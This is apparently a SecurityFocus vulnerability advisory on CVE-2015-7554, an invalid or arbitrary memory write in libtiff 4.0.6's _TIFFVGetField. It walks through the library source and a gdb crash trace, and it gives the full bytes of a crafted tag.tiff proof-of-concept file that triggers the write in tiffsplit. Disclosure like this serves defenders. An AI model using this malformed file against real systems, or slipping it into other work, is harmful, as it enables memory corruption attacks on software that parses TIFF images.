libtiff: invalid write (CVE-2015-7554) Dec 26 2015 04:34PM
Hans Jerry Illikainen (hji dyntopia com)

`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.

Each tag has a `field_passcount' variable in their TIFFField struct:

tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
| struct _TIFFField {
| uint32 field_tag; /* field's tag */
| short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */
| short field_writecount; /* write count/TIFF_VARIABLE */
| TIFFDataType field_type; /* type of associated data */
| uint32 reserved; /* reserved for future extension */
| TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */
| TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */
| unsigned short field_bit; /* bit in fieldsset bit vector */
| unsigned char field_oktochange; /* if true, can change while writing */
| unsigned char field_passcount; /* if true, pass dir count on set */
| char* field_name; /* ASCII name */
| TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */
| };
`----

For example:

tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
| static const TIFFField fax3Fields[] = {
| { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
| };
`----

However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'. This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':

tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
| int
| TIFFReadDirectory(TIFF* tif)
| {
| [...]
| TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
| if (fii == FAILED_FII)
| {
| TIFFWarningExt(tif->tif_clientdata, module,
| "Unknown field with tag %d (0x%x) encountered",
| dp->tdir_tag,dp->tdir_tag);
| /* the following knowingly leaks the
| anonymous field structure */
| if (!_TIFFMergeFields(tif,
| _TIFFCreateAnonField(tif,
| dp->tdir_tag,
| (TIFFDataType) dp->tdir_type),
| 1)) {
| [...]
| }
`----

tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
| TIFFField*
| _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
| {
| [...]
| fld->field_bit = FIELD_CUSTOM;
| [...]
| fld->field_passcount = TRUE;
| [...]
| }
`----

If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:

tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
| static int
| _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
| {
| [...]
| uint32 standard_tag = tag;
| [...]
| if (fip->field_bit == FIELD_CUSTOM) {
| standard_tag = 0;
| }
|
| switch (standard_tag) {
| [...]
| default:
| {
| [...]
| for (i = 0; i < td->td_customValueCount; i++) {
| [...]
| if (fip->field_passcount) {
| if (fip->field_readcount == TIFF_VARIABLE2)
| *va_arg(ap, uint32*) = (uint32)tv->count;
| else /* Assume TIFF_VARIABLE */
| *va_arg(ap, uint16*) = (uint16)tv->count;
| *va_arg(ap, void **) = tv->value;
| ret_val = 1;
| }
| [...]
| }
| }
| }
| [...]
| }
`----

With an invocation of `TIFFGetField()' such as:

,----
| TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----

for a TIFFTAG_GROUP3OPTIONS specified as:

,----
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
| ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
| tag type count offset/value
`----

the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.

Using the included tiffsplit utility as an example:

tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
| static int
| tiffcp(TIFF* in, TIFF* out)
| {
| [...]
| CopyField(TIFFTAG_YRESOLUTION, floatv);
| CopyField(TIFFTAG_GROUP3OPTIONS, longv);
| [...]
| }
`----

,----
| $ gdb -q --args tiffsplit tag.tiff
| Reading symbols from tiffsplit...done.
| (gdb) r
| TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
|
| Program received signal SIGSEGV, Segmentation fault.
| 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377
\267") at tif_dir.c:1056
| 1056 *va_arg(ap, void **) = tv->value;
| (gdb) x/i $eip
| => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax)
| (gdb) x/x $edx
| 0x804d670: 0x41414141
| (gdb) x/x $eax
| 0x41410000: Cannot access memory at address 0x41410000
| (gdb)
`----

tag.tiff:
,----
| unsigned char tiff[] = {
| /* little-endian */
| 0x49, 0x49,
|
| /* version */
| 0x2a, 0x00,
|
| /* tif->tif_diroff */
| 0x09, 0x00, 0x00, 0x00,
| 0x00,
|
| /* tag count */
| 0x07, 0x00,
|
| /* tag | type | count | offset/value */
| /* TIFFTAG_IMAGEWIDTH */
| 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_IMAGELENGTH */
| 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_BITSPERSAMPLE */
| 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
| /* TIFFTAG_STRIPOFFSETS */
| 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_STRIPBYTECOUNTS */
| 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_YRESOLUTION */
| 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
| /* TIFFTAG_GROUP3OPTIONS */
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
|
| /* tif->tif_nextdiroff */
| 0x00, 0x00, 0x00, 0x00,
|
| /* bits per sample */
| 0x08, 0x00,
| 0x08, 0x00,
| 0x08, 0x00,
| };
`----

This issue has been assigned CVE-2015-7554 and it has yet to be fixed.

--
Hans Jerry Illikainen

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus